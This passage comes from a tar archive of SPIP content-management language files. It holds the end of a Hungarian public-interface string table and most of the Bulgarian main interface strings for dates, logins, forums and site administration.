'articles_auteur' => 'E szerző cikkei',
'articles_populaires' => 'Legnépszerűbb cikkek',
'articles_rubrique' => 'A rovat cikkei',
'aucun_article' => '<NENincs cikke ezen a címen',
'aucun_auteur' => 'Nincs szerző ezen a címen',
'aucun_site' => 'Nincs honlap ezen a címen',
'aucune_breve' => 'Nincs hír ezen a címen',
'aucune_rubrique' => 'Nincs rovat ezen a címen',
'autres_breves' => 'Egyéb hírek',
'autres_groupes_mots_clefs' => 'Egyéb kulcsszó csoportok',
'autres_sites' => 'Egyéb honlapok',
// B
'bonjour' => 'Jó napot',
// C
'commenter_site' => 'Hozzászólás a honlapról',
// D
'date' => 'Dátum',
'dernier_ajout' => 'Utolsó beszúrás',
'dernieres_breves' => 'Utolsó hírek',
'derniers_articles' => 'Utolsó cikkek',
'derniers_commentaires' => 'Utolsó hozzászólások',
'derniers_messages_forum' => 'A fórumokba küldött legutolsó üzenetek',
// E
'edition_mode_texte' => 'Szöveges módban szerkesztés',
'en_reponse' => 'Erre válaszolva :',
'en_resume' => 'Összefoglalva',
'envoyer_message' => 'Üzenet küldés',
'espace_prive' => 'Privát rész',
// H
'hierarchie_site' => 'A honlap felépítése',
// J
'jours' => 'napok',
// M
'meme_auteur' => 'Ugyanettől a szerzőtől',
'meme_rubrique' => 'Ugyanabban a rovatban',
'memes_auteurs' => 'Ugyanettől a szerzőktől',
'message' => 'Üzenet',
'messages_forum' => 'Fórum üzenetei', # MODIF
'messages_recents' => 'A fórumok legfríssebb üzenetei',
'mots_clefs' => 'Kulcsszavak',
'mots_clefs_meme_groupe' => 'Kulcsszavak ugyanabban a csoportban',
// N
'navigation' => 'Böngészés',
'nom' => 'Név',
'nouveautes' => 'Újdonságok',
'nouveautes_web' => 'Újdonságok a Weben',
'nouveaux_articles' => 'Új cikkek',
'nouvelles_breves' => 'Új hírek',
// P
'page_precedente' => 'Elöző oldal',
'page_suivante' => 'következő oldal',
'par_auteur' => 'írta',
'participer_site' => 'Részt vehet a honlap életében, és saját cikkeket küldhet. Azért egy beiratkozás szükséges (lásd lejjebb). Azonnal fog kapni egy emailt, melyben szerepelnek a hozzáférési paraméterek a honlap privát részére.',
'plan_site' => 'Honlap térképe',
'popularite' => 'Népszerűség',
'poster_message' => 'Üzenet küldés',
'proposer_site' => 'Honlapot ajánlhat abban a rovatban :',
// R
'repondre_article' => 'Hozzászólás a cikkhez',
'repondre_breve' => 'Válaszolni erre a hírre',
'resultats_recherche' => 'Keresés eredményei',
'retour_debut_forums' => 'Vissza a fórumok kezdetére',
'rubrique' => 'Rovat',
'rubriques' => 'Rovatok',
// S
'signatures_petition' => 'Aláírások',
'site_realise_avec_spip' => 'A honlap SPIP segítségével készült',
'sites_web' => 'Honlapok',
'sous_rubriques' => 'Alsóbb rovatok',
'suite' => 'folytatás',
'sur_web' => 'Valahol a Weben',
'syndiquer_rubrique' => 'A rovat szindikálása',
'syndiquer_site' => 'Az egész honlap szindikálása',
// T
'texte_lettre_information' => 'Íme a honlap hírlevele',
'texte_lettre_information_2' => 'Ez a hírlevél a cikkeket, ill. híreket összefoglalja azóta', # MODIF
// V
'ver_imprimer' => 'Nyomtatható változat',
'voir_en_ligne' => 'Látni élőben'
);
?>
spip_bg.php 0000666 00000124267 15252547432 0006731 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=bg
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-bg',
'0_langue' => 'български [bg]',
'0_liste' => 'spip-bg@rezo.net',
'0_mainteneur' => 'Christina Haralanova, chris@fsa-bg.org',
// A
'access_interface_graphique' => 'Обратно към пълния графичен интерфейс',
'access_mode_texte' => 'Показване на опростения текстов интерфейс',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Промяна на статията',
'admin_modifier_auteur' => 'Промяна на автора',
'admin_modifier_breve' => 'Промяна на новината',
'admin_modifier_mot' => 'Промяна на ключовата дума',
'admin_modifier_rubrique' => 'Промяна на рубриката',
'admin_recalculer' => 'Презареждане на страницата',
'alerte_maj_impossible' => '<b>Внимание!</b> Базата данни SQL не бе обновена във версия @version@, вероятно поради проблем с правата за достъп.',
'analyse_xml' => 'Анализиране на XML',
'antispam_champ_vide' => 'Оставете полето празно:',
'articles_recents' => 'Най-новите публикувани статии',
'avis_archive_incorrect' => 'Файлът, който архивирате не е разрешен в СПИП',
'avis_archive_invalide' => 'Невалиден файл за архивиране',
'avis_attention' => 'ВНИМАНИЕ!',
'avis_champ_incorrect_type_objet' => 'Името на полето @name@ е погрешно за обозначаване обект от типа @type@',
'avis_colonne_inexistante' => 'Колоната @col@ не съществува',
'avis_erreur' => 'Грешка: прочети по-долу;',
'avis_erreur_connexion' => 'Грешка при свързването',
'avis_erreur_cookie' => 'cookie - грешка',
'avis_erreur_fonction_contexte' => 'Грешка в програмата. Тази команда не трябва да се извиква в този контекст.',
'avis_erreur_mysql' => 'Грешка в базата данни SQL',
'avis_erreur_sauvegarde' => 'Грешка при съхраняване (@type@ @id_objet@)!',
// B
'barre_a_accent_grave' => 'Впишете главно А с тежко ударение',
'barre_aide' => 'Използвайте Типографските кратки команди, за да усъвършенствате външния вид',
'barre_e_accent_aigu' => 'Впишете главно Е с остро ударение',
'barre_eo' => 'Впишете дифтонг "ое"',
'barre_eo_maj' => 'Впишете дифтонг "ОЕ" с главни букви',
'barre_euro' => 'Добавяне на символа €',
'barre_gras' => 'Вмъкване на {{удебелен шрифт}}',
'barre_guillemets' => 'Поставяне в "кавички"',
'barre_guillemets_simples' => 'Поставяне в ‘единични кавички’',
'barre_intertitre' => 'Включване режим на {{{подзаглавие}}}',
'barre_italic' => 'Поставяне в {наклонени букви (italics)}',
'barre_lien' => 'Превръщане в [препратка->http://...]',
'barre_lien_input' => 'Моля, впишете препратката в хипертекст (може да напишете Интернет адреса във формата http://www.mysite.com или просто номера на статията от този сайт).',
'barre_note' => 'Включване режим на [[забележка под линия (footnote)]]',
'barre_quote' => '<quote>Цитат на съобщение</quote>',
'bouton_changer' => 'Изпращане',
'bouton_chercher' => 'Търсене',
'bouton_choisir' => 'Избор',
'bouton_download' => 'Télécharger', # MODIF
'bouton_enregistrer' => 'Записване',
'bouton_radio_desactiver_messagerie_interne' => 'Без система за вътрешни съобщения',
'bouton_radio_envoi_annonces' => 'Изпращане на редакторски съобщения',
'bouton_radio_non_envoi_annonces' => 'Без изпращане на съобщения',
'bouton_radio_non_envoi_liste_nouveautes' => 'Без изпращане на списък с новини',
'bouton_recharger_page' => 'Презареждане на страницата',
'bouton_telecharger' => 'Публикуване',
'bouton_upload' => 'Публикуване', # MODIF
'bouton_valider' => 'Изпращане',
// C
'cal_apresmidi' => 'следобяд',
'cal_jour_entier' => 'цял ден',
'cal_matin' => 'сутрин',
'cal_par_jour' => 'дневен календар',
'cal_par_mois' => 'месечен календар',
'cal_par_semaine' => 'седмичен календар',
'confirm_changer_statut' => 'Изисква се потвърждение: Задали сте промяна на статуса на статията. Желаете ли до продължите?',
'correcte' => 'правилно',
// D
'date_aujourdhui' => 'днес',
'date_avant_jc' => 'пр.н.е.',
'date_dans' => 'в @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'утре',
'date_fmt_heures_minutes' => '@h@ч.@m@мин.',
'date_fmt_jour_heure' => '@jour@ в @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => 'На @nomjour@ @date@',
'date_heures' => 'часа',
'date_hier' => 'вчера',
'date_il_y_a' => 'преди @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10ти',
'date_jnum11' => '11ти',
'date_jnum12' => '12ти',
'date_jnum13' => '13ти',
'date_jnum14' => '14ти',
'date_jnum15' => '15ти',
'date_jnum16' => '16ти',
'date_jnum17' => '17ти',
'date_jnum18' => '18ти',
'date_jnum19' => '19ти',
'date_jnum2' => '2ри',
'date_jnum20' => '20ти',
'date_jnum21' => '21ви',
'date_jnum22' => '22ри',
'date_jnum23' => '23ти',
'date_jnum24' => '24ти',
'date_jnum25' => '25ти',
'date_jnum26' => '26ти',
'date_jnum27' => '27ми',
'date_jnum28' => '28ми',
'date_jnum29' => '29ти',
'date_jnum3' => '3ти',
'date_jnum30' => '30ти',
'date_jnum31' => '31ви',
'date_jnum4' => '4ти',
'date_jnum5' => '5ти',
'date_jnum6' => '6ти',
'date_jnum7' => '7ми',
'date_jnum8' => '8ми',
'date_jnum9' => '9ти',
'date_jour_1' => 'неделя',
'date_jour_2' => 'понеделник',
'date_jour_3' => 'вторник',
'date_jour_4' => 'сряда',
'date_jour_5' => 'четвъртък',
'date_jour_6' => 'петък',
'date_jour_7' => 'събота',
'date_jours' => 'дни',
'date_minutes' => 'минути',
'date_mois' => 'месеца',
'date_mois_1' => 'януари',
'date_mois_10' => 'октомври',
'date_mois_11' => 'ноември',
'date_mois_12' => 'декември',
'date_mois_2' => 'февруари',
'date_mois_3' => 'март',
'date_mois_4' => 'април',
'date_mois_5' => 'май',
'date_mois_6' => 'юни',
'date_mois_7' => 'юли',
'date_mois_8' => 'август',
'date_mois_9' => 'септември',
'date_saison_1' => 'зима',
'date_saison_2' => 'пролет',
'date_saison_3' => 'лято',
'date_saison_4' => 'есен',
'date_semaines' => 'седмици',
'dirs_commencer' => ' за започване на инсталацията',
'dirs_preliminaire' => 'Предварително: <b>Поправете правата за достъп</b>',
'dirs_probleme_droits' => 'Проблем с правата на достъп',
'dirs_repertoires_absents' => '<b>Следните директории не бяха намерени: <ul>@bad_dirs@.</ul> </b>
<p>Вероятната причина за това е лошото боравене с главните и нормални букви.
Моля, уверете се, че не е включен режимът за главни букви и че имената на директориите са идентични с тези, показани
по-горе; ако не са идентични, преименувайте тези директории като използвате FTP клиента, за да поправите грешката.
<p>След като направите това, можете ', # MODIF
'dirs_repertoires_suivants' => '<b>Следните директории нямат права за писане: <ul>@bad_dirs@.</ul> </b>
<p>За да промените правата им, използвайте FTP клиента си, за да зададете права за достъп
на всяка една от директориите. Процедурата е описана подробно в потребителския наръчник.
<p>След като приключите с тази операция можете да ', # MODIF
// E
'envoi_via_le_site' => 'Изпращане през сайта',
// F
'fichier_introuvable' => 'Файлът: @fichier@ не бе намерен',
'form_deja_inscrit' => 'Вече сте регистриран(а).',
'form_email_non_valide' => 'Неалиден електронен адрес.',
'form_forum_access_refuse' => 'Преустановен достъп до сайта',
'form_forum_bonjour' => 'Добър ден, @nom@,',
'form_forum_email_deja_enregistre' => 'Този електронен адрес е вече регистриран; за по-нататъшен достъп използвайте обичайната си парола. ',
'form_forum_identifiant_mail' => 'Новото Ви име за достъп бе изпратено по електронна поща.',
'form_forum_identifiants' => 'Лични идентификатори ',
'form_forum_indiquer_nom_email' => 'Попълнете име и електронен адрес. Веднага след това ще получите име за достъп по електронна поща.',
'form_forum_login' => 'вход:',
'form_forum_message_auto' => '(това е автоматично съобщение)',
'form_forum_pass' => 'парола:',
'form_forum_probleme_mail' => 'Проблем с електронната пощя: грешка при изпращане на идентификатора.',
'form_forum_voici1' => 'Това са Вашите идентификатори за участие във форумите на сайта
@nom_site_spip@ (@adresse_site@):',
'form_forum_voici2' => 'Това са Вашите идентификатори за изпращане на статии
на сайта @nom_site_spip@ (@adresse_login@):',
'form_indiquer_email' => 'Попълнете електронния си адрес.',
'form_indiquer_nom' => 'Попълнете името си.',
'form_indiquer_nom_site' => 'Попълнете името на Вашия сайт.',
'form_pet_deja_enregistre' => 'Сайтът е вече регистриран',
'form_pet_signature_pasprise' => 'Грешен запис',
'form_prop_confirmer_envoi' => 'Потвърждение на изпращането',
'form_prop_description' => 'Описание/коментар',
'form_prop_enregistre' => 'Вашето предложение е записано. То ще се появи на страниците на сайта след одобрение от администратор. ',
'form_prop_envoyer' => 'Изпращане на съобщение',
'form_prop_indiquer_email' => 'Попълнете валиден електронен адрес (e-mail)',
'form_prop_indiquer_nom_site' => 'Попълнете името на сайта.',
'form_prop_indiquer_sujet' => 'Попълнете поле Относно',
'form_prop_message_envoye' => 'Съобщението бе изпратено',
'form_prop_non_enregistre' => 'Предложението не беше запазено.',
'form_prop_sujet' => 'Относно',
'form_prop_url_site' => 'URL на сайта', # MODIF
'forum_non_inscrit' => 'Или не сте регистрирани, или адресът/ паролата са погрешни.',
'forum_par_auteur' => 'от @auteur@',
'forum_titre_erreur' => 'Грешка',
// I
'ical_texte_rss_articles' => 'Адресът на файла от крайната точка (backend) е следният:',
'ical_texte_rss_articles2' => 'Също така, можете да вземете файловете от крайната точка за статиите на всяка рубрика от сайта:',
'ical_texte_rss_breves' => 'По-нататък има файл, който съдържа новините на сайта. Като изберете номер на рубриката, можете да видите новините само от дадената рубрика.',
'icone_a_suivre' => 'Начало',
'icone_admin_site' => 'Администриране на сайта',
'icone_agenda' => 'Дневник',
'icone_aide_ligne' => 'Помощник',
'icone_articles' => 'Статии',
'icone_auteurs' => 'Автори',
'icone_brouteur' => 'Бърза навигация',
'icone_configuration_site' => 'Конфигуриране',
'icone_configurer_site' => 'Конфигуриране на сайта',
'icone_creer_nouvel_auteur' => 'Нов автор',
'icone_creer_rubrique' => 'Създаване на рубрика',
'icone_creer_sous_rubrique' => 'Създаване на подрубрика',
'icone_deconnecter' => 'Изход',
'icone_discussions' => 'Дискусии',
'icone_doc_rubrique' => 'Документи от рубриките',
'icone_ecrire_article' => 'Писане на нова статия',
'icone_edition_site' => 'Редактиране на сайта',
'icone_gestion_langues' => 'Управление на езиците',
'icone_informations_personnelles' => 'Лични данни',
'icone_interface_complet' => 'Пълен интерфейс',
'icone_interface_simple' => 'Опростен интерфейс',
'icone_maintenance_site' => 'Поддръжка на сайта',
'icone_messagerie_personnelle' => 'Лични съобщения',
'icone_repartition_debut' => 'Покажи началната дистрибуция',
'icone_rubriques' => 'Рубрики',
'icone_sauver_site' => 'Запазване на сайта',
'icone_site_entier' => 'Целият сайт',
'icone_sites_references' => 'Свързани сайтове',
'icone_statistiques' => 'Статистика на сайта',
'icone_suivi_activite' => 'Дейности на сайта',
'icone_suivi_actualite' => 'Развитие на сайта',
'icone_suivi_pettions' => 'Допълнения на молби',
'icone_suivi_revisions' => 'Преглед на статии',
'icone_supprimer_document' => 'Изтриване на документа',
'icone_supprimer_image' => 'Изтриване на изображението',
'icone_tous_articles' => 'Всички Ваши статии',
'icone_tous_auteur' => 'Всички автори',
'icone_visiter_site' => 'Посещаване на сайта', # MODIF
'icone_voir_en_ligne' => 'Изглед на сайта',
'img_indisponible' => 'изображението липсва',
'impossible' => 'невъзможно',
'info_a_suivre' => 'НАЧАЛО»',
'info_acces_interdit' => 'Забранен достъп',
'info_acces_refuse' => 'Невъзможен достъп',
'info_action' => 'Действие: @action@',
'info_administrer_rubriques' => 'Вие можете да управлявате рубриката и нейните подрубрики',
'info_adresse_non_indiquee' => 'Укажете адрес за проба!',
'info_aide' => 'ПОМОЩ:',
'info_ajouter_mot' => 'Добавяне на ключовата дума',
'info_annonce' => 'СЪОБЩЕНИЕ',
'info_annonces_generales' => 'Общи съобщения:',
'info_article_propose' => 'Изпратена статия',
'info_article_publie' => 'Одобрена статия',
'info_article_redaction' => 'Статия в процес на обработка',
'info_article_refuse' => 'Отхвърлена статия',
'info_article_supprime' => 'Изтрита статия',
'info_articles' => 'Статии',
'info_articles_a_valider' => 'Статии, чакащи одобрение за публикуване',
'info_articles_proposes' => 'Изпратени статии',
'info_auteurs_nombre' => 'автор(и):',
'info_authentification_ftp' => 'Удостоверяване автентичността (чрез FTP).',
'info_breves_2' => 'новини',
'info_connexion_refusee' => 'Забранено свързване',
'info_contact_developpeur' => 'Моля, свържете се с някой разработчик.',
'info_contenance' => 'Сайтът съдържа:',
'info_contribution' => 'принос от съобщения във форума', # MODIF
'info_copyright' => '@spip@ е свободен софтуер, разпространяван @lien_gpl@.',
'info_copyright_doc' => 'За повече информация, посетете сайта <a href="@spipnet@">http://www.spip.net/bg</a>.', # MODIF
'info_copyright_gpl' => 'под лиценза GPL',
'info_cours_edition' => 'Сатиите Ви в процес на обработка',
'info_creer_repertoire' => 'Моля, създайте файл или директория, наречена:',
'info_creer_repertoire_2' => 'в под-директорията <b>@repertoire@</b>, след това',
'info_creer_vignette' => 'автоматично създаване на умален образ',
'info_deplier' => 'Сгъване',
'info_descriptif_nombre' => 'описание(я):',
'info_description' => 'Описание:',
'info_description_2' => 'Описание:',
'info_dimension' => 'Размер:',
'info_ecire_message_prive' => 'Писане на лично съобщение',
'info_email_invalide' => 'Погрешен електронен адрес.',
'info_en_cours_validation' => 'Статии в процес на обработка',
'info_en_ligne' => 'Текущо са в мрежата:',
'info_envoyer_message_prive' => 'Изпращане на лично съобщение на автора',
'info_erreur_requete' => 'Грешка при задаване на въпроса:',
'info_erreur_squelette2' => 'Няма наличен шаблон <b>@fichier@</b>...',
'info_erreur_systeme' => 'Системна грешка (errno @errsys@)',
'info_erreur_systeme2' => 'Или твърдият диск е пълен, или базата данни е повредена.<br />
<span style="color:red;">опитайте се<a href=\'@script@\'>да поправите базата данни</a>, или се свържете с доставчика си.</span>',
'info_fini' => 'Готово!',
'info_format_image' => 'За създаване на винетките, използвайте същия формат, в който е и изображението: @gd_formats@.',
'info_format_non_defini' => 'неопределен формат',
'info_grand_ecran' => 'Увеличен екран',
'info_image_aide' => 'ПОМОЩНИК',
'info_image_process_titre' => 'Метод за създаване на умалени образи (винетки)',
'info_impossible_lire_page' => '<<b>Грешка!</b> Страницата <tt><html>@test_proxy@</html></tt> не се чете през проксито <tt>',
'info_installation_systeme_publication' => 'Инсталация на системата за публикуване ...',
'info_installer_documents' => 'Можете автоматично да качвате всички документи от следната папка @upload@.',
'info_installer_ftp' => 'Като администратор можете да качите файлове (чрез FTP) в папката @upload@, за да ги използвате направо от там, когато Ви потрябват по-късно.',
'info_installer_images' => 'Форматът на изображенията може да е JPEG, GIF и PNG.',
'info_installer_images_dossier' => 'Качете изображения в папка @upload@, за да можете да ги използвате направо от там, когато Ви потрябват по-късно.',
'info_interface_complete' => 'Пълен интерфейс',
'info_interface_simple' => 'Опростен интерфейс',
'info_joindre_document_article' => 'Можете към статията да прилагате документи от вида:',
'info_joindre_document_rubrique' => 'В тази рубрика можете да добавяте документи от вида',
'info_joindre_documents_article' => 'Можете към статията да прилагате документи от вида:',
'info_l_article' => 'статията',
'info_la_breve' => 'новината',
'info_la_rubrique' => 'рубриката',
'info_langue_principale' => 'Език на основния сайт',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ пиксели',
'info_les_auteurs_1' => 'от @les_auteurs@',
'info_logo_format_interdit' => 'Форматът на логото може да бъде следният: @formats@.',
'info_logo_max_poids' => 'Логото трябва да е по-малко от @maxi@ (настоящият файл е @actuel@).',
'info_mail_fournisseur' => 'Вие@isp.com',
'info_message_2' => 'СЪОБЩЕНИЕ',
'info_message_supprime' => 'СЪОБЩЕНИЕТО Е ИЗТРИТО',
'info_mise_en_ligne' => 'Дата на публикация:',
'info_modification_parametres_securite' => 'промяна настройките на параметрите за сигурност',
'info_mois_courant' => 'През месеца:',
'info_mot_cle_ajoute' => 'Следната ключова дума беше добавена към',
'info_multi_herit' => 'Език по подразбиране',
'info_multi_langues_soulignees' => '<u>Подчертаните езици</u> осигуряват превод на всички текстове на интерфейса. Ако изберете тези езици, много от елементите на публичния сайт (дати, форми) ще бъдат автоматично преведени. Колкото до неподчертаните езици, елементите ще се появят на основния език за този сайт.', # MODIF
'info_multilinguisme' => 'Многоезичен',
'info_nom_non_utilisateurs_connectes' => 'Името Ви е изключено от списъка на свързаните към Интернет потребители',
'info_nom_utilisateurs_connectes' => 'Името Ви е добавено в списъка на свързаните към Интернет потребители',
'info_nombre_en_ligne' => 'Текущо са в мрежата:',
'info_non_resultat' => 'Няма намерени резултати за @cherche_mot@',
'info_non_utilisation_messagerie' => 'Не използвате системата за вътешни съобщения на този сайт.',
'info_nouveau_message' => 'ИМАТЕ НОВО СЪОБЩЕНИЕ',
'info_nouveaux_messages' => 'ИМАТЕ @total_messages@ НОВИ СЪОБЩЕНИЯ',
'info_numero_abbreviation' => 'Не',
'info_pense_bete' => 'БЕЛЕЖКА',
'info_petit_ecran' => 'Малък дисплей',
'info_pixels' => 'пиксели',
'info_plusieurs_mots_trouves' => 'Бяха намерени няколко ключови думи за @cherche_mot@:',
'info_portfolio_automatique' => 'Автоматична папка за документи:',
'info_premier_resultat' => '[@debut_limit@ първи резултати от общо @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ първи резултати от общо @total@]',
'info_propose_1' => '[@nom_site_spip@] Изпратени: @titre@',
'info_propose_2' => 'Изпратена статия
-----------------',
'info_propose_3' => 'Статията @titre@ е изпратена за публикуване.',
'info_propose_4' => 'Моля, прегледайте и коментирайте',
'info_propose_5' => 'във форума, който е на адрес:',
'info_publie_01' => 'Статията @titre@ бе одобрена за публикуване от @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] ПУБЛИКУВА: @titre@',
'info_publie_2' => 'Публикувана статия
------------------',
'info_rechercher' => 'Търсене',
'info_rechercher_02' => 'Търсене:',
'info_remplacer_vignette' => 'Смяна на винетката по подразбиране с лого по избор:',
'info_sans_titre_2' => 'без заглавие',
'info_selectionner_fichier' => 'Избиране на файл от папка @upload@',
'info_selectionner_fichier_2' => 'Изберете файл:',
'info_supprimer_vignette' => 'изтриване на винетката',
'info_symbole_bleu' => 'Символът <b>синьо</b> указва <b>бележка</b>: т.е. съобщение за лично ползване.',
'info_symbole_jaune' => 'Символът <b>жълто</b> указва <b>съобщение към всички редактори</b>: то може да се вписва само от администратори и да се вижда от всички редактори.',
'info_symbole_vert' => 'Символът <b>зелено</b> указва <b>съобщения, обменени с други потребители</b> на сайта.',
'info_telecharger_nouveau_logo' => 'Качване на ново лого:',
'info_telecharger_ordinateur' => 'Качете от своя компютър на сайта:',
'info_tous_resultats_enregistres' => '[всички резултати са записани]',
'info_tout_afficher' => 'Показване на всички',
'info_travaux_texte' => 'Този сайт още не е поместен. Елате по-късно. ',
'info_travaux_titre' => 'Сайтът е в процес на израбоване ',
'info_trop_resultat' => 'Твърде много намерени резултати за @cherche_mot@; моля, прецизирайте търсенето си.',
'info_utilisation_messagerie_interne' => 'Вие използвате системата за вътрешни съобщения на сайта.',
'info_valider_lien' => 'одобряване на препратката',
'info_verifier_image' => ', уверете се, че вашите изображения са прехвърлени правилно.',
'info_vignette_defaut' => 'Винетка по подразбиране',
'info_vignette_personnalisee' => 'Винетка по избор',
'info_visite' => 'посещение:',
'info_vos_rendez_vous' => 'Вашите бъдещи срещи',
'infos_vos_pense_bete' => 'Лични бележки', # MODIF
// L
'lien_afficher_icones_seuls' => 'Показване само на икони',
'lien_afficher_texte_icones' => 'Показване икони и текст',
'lien_afficher_texte_seul' => 'Показване само на текст',
'lien_liberer' => 'освобождаване',
'lien_liberer_tous' => 'освобождаване на статиите', # MODIF
'lien_nouvea_pense_bete' => 'НОВА БЕЛЕЖКА',
'lien_nouveau_message' => 'НОВО СЪОБЩЕНИЕ',
'lien_nouvelle_annonce' => 'НОВО СЪОБЩЕНИЕ',
'lien_petitions' => 'МОЛБА',
'lien_popularite' => 'популярност: @popularite@%',
'lien_racine_site' => 'СХЕМА НА САЙТА',
'lien_reessayer' => 'опитайте отново',
'lien_repondre_message' => 'Отговор на съобщението',
'lien_supprimer' => 'изтриване',
'lien_tout_afficher' => 'Показване на всички',
'lien_visite_site' => 'посещаване на сайта',
'lien_visites' => '@visites@ посещения',
'lien_voir_auteur' => 'Проверка на автора',
'login_acces_prive' => 'достъп до личната зона',
'login_autre_identifiant' => 'свързване с друго потребителско име',
'login_cookie_accepte' => 'Моля, настройте Интернет навигатора да приеме cookie (поне за този сайт).',
'login_cookie_oblige' => 'За по-сигурно идентифициране, приемете cookie.',
'login_deconnexion_ok' => 'Излязохте успешно.',
'login_erreur_pass' => 'Погрешна парола.',
'login_espace_prive' => 'лична зона',
'login_identifiant_inconnu' => 'Непознат потребител @login@.',
'login_login' => 'Вход:',
'login_login2' => 'Вход (потребителско име за свързване със сайта):', # MODIF
'login_login_pass_incorrect' => '(Погрешно потребителско име или парола).',
'login_motpasseoublie' => 'забравена парола?',
'login_non_securise' => 'Внимание! Тази форма не е защитена.
Ако не желаете паролата Ви да бъде
разкрита в мрежата, активирайте Javascript
на навигатора и ',
'login_nouvelle_tentative' => 'Нов опит',
'login_par_ici' => 'Успешна регистрация... насам...',
'login_pass2' => 'Парола:',
'login_preferez_refuser' => '<b>Ако предпочитате да откажете cookies</b>, на Ваше разположение e предоставена друга възможност за свързване (по-малко сигурна):',
'login_recharger' => 'обновете тази страница',
'login_rester_identifie' => 'Идентифициран за по-дълго време (няколко дни)',
'login_retour_public' => 'Обратно към публичния сайт',
'login_retour_site' => 'Обратно към публичния сайт',
'login_retoursitepublic' => 'обратно към публичния сайт',
'login_sans_cookiie' => 'Идентификация без cookie',
'login_sinscrire' => 'регистрирация',
'login_test_navigateur' => 'тест на навигатор/повторно свързване',
'login_verifiez_navigateur' => '(Въпреки това, убедете се, че навигаторът не е запаметил Вашата парола...)',
// M
'module_fichiers_langues' => 'Езикови файлове',
// N
'navigateur_pas_redirige' => 'Ако интернет-навигаторът не Ви пренасочи, натиснете тук, за да продължите.',
// O
'onglet_affacer_base' => 'Изтриване на базата данни',
'onglet_auteur' => 'Авторът',
'onglet_contenu_site' => 'Съдържание на сайта',
'onglet_evolution_visite_mod' => 'Развитие',
'onglet_fonctions_avances' => 'Подробни функции',
'onglet_informations_personnelles' => 'Лични данни',
'onglet_interactivite' => 'Интерактивност',
'onglet_messagerie' => 'Система за съобщения',
'onglet_repartition_rubrique' => 'Разпределение по рубрики',
'onglet_save_restaur_base' => 'Архивиране/възстановяване на базата данни',
'onglet_vider_cache' => 'Изпразване на кеш-паметта',
// P
'pass_choix_pass' => 'Изберете нова парола:',
'pass_erreur' => 'Грешка',
'pass_erreur_acces_refuse' => '<b>Грешка:</b> нямате повече достъп до този сайт.',
'pass_erreur_code_inconnu' => '<b>Грешка:</b> този код не съвпада с никой посетител, който има разрешение за достъп до сайта.',
'pass_erreur_non_enregistre' => '<b>Грешка:</b> адресът <tt>@email_oubli@</tt> не е регистриран в сайта.',
'pass_erreur_non_valide' => '<b>Грешка:</b> електронният адрес <tt>@email_oubli@</tt> е погрешен!',
'pass_erreur_probleme_technique' => '<b>Грешка:</b> това писмо не може да бъде изпратено поради технически проблем.',
'pass_espace_prive_bla' => 'Личната зона на сайта е отворена само за
регистирани посетители. След като се регистрирате,
можете да преглеждате статиите, които са в
в процес на обработка, да изпращате статии и да участвате във всички форуми.',
'pass_forum_bla' => 'Пожелали сте да участвате във форум, който
е запазен за регистрирани посетители.',
'pass_indiquez_cidessous' => 'Попълнете електронният адрес, с който
сте регистрирани.
Ще получите писмо с инструкции за това, как
да подновите достъпа си.',
'pass_mail_passcookie' => '(това е автоматично съобщение)
За да получите достъп до сайта
@nom_site_spip@ (@adresse_site@)
Моля, посетете следния адрес:
@sendcookie@
След това можете да смените паролата
и да се свържете към сайта отново.
',
'pass_mot_oublie' => 'Забравена парола',
'pass_nouveau_enregistre' => 'Новата Ви парола бе запазена.',
'pass_nouveau_pass' => 'Нова парола',
'pass_ok' => 'Изпращане',
'pass_oubli_mot' => 'Забравена парола',
'pass_quitter_fenetre' => 'Затваряне на прозореца',
'pass_rappel_login' => 'Напомняне: Вашето потребителско име (идентификатор) е @login@.',
'pass_recevoir_mail' => 'Ще получите писмо с инструкции за това, как
да подновите достъпа си до сайта.',
'pass_retour_public' => 'Обратно в публичния сайт',
'pass_rien_a_faire_ici' => 'Нямате работа тук.',
'pass_vousinscrire' => 'Регистриране на сайта',
'precedent' => 'предишен',
'previsualisation' => 'Предварителен преглед',
'previsualiser' => 'Показване на предварителния преглед',
// S
'squelette' => 'шаблон',
'squelette_inclus_ligne' => 'включен шаблон, ред',
'squelette_ligne' => 'шаблон, ред',
'stats_visites_et_popularite' => '@visites@ посещения; популярност: @popularite@',
'suivant' => 'следващ',
// T
'taille_ko' => '@taille@ KB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ байта',
'texte_actualite_site_1' => 'След като се запознаете с интерфейса, изберете «',
'texte_actualite_site_2' => 'пълен интерфейс',
'texte_actualite_site_3' => ' » да направите повече свойства активни.',
'texte_creation_automatique_vignette' => 'Позволено е автоматичното създаване на предварителни умалени образи в сайта. Ако качите изображения през тази форма, във формат(и) @gd_formats@, те ще бъдат удвоени с умалени образи, чийто максимален размер е @taille_preview@ пиксели. ',
'texte_documents_associes' => 'Следните документи са свързани със статията,,
но те не са пряко включени в
нея. Според оформлението в публичния сайт, те биха
могли да се запишат като приложени документи.',
'texte_erreur_mise_niveau_base' => 'Грешка в базата данни по време на актуализация.
Изображението <b>@fichier@</b> е несъвместимо със статията (article @id_article@).<p>
Отбележете внимателно тази връзка; повторете процедурата по актуализация
и се уверете, че изображението все още е приложено
към статиите.',
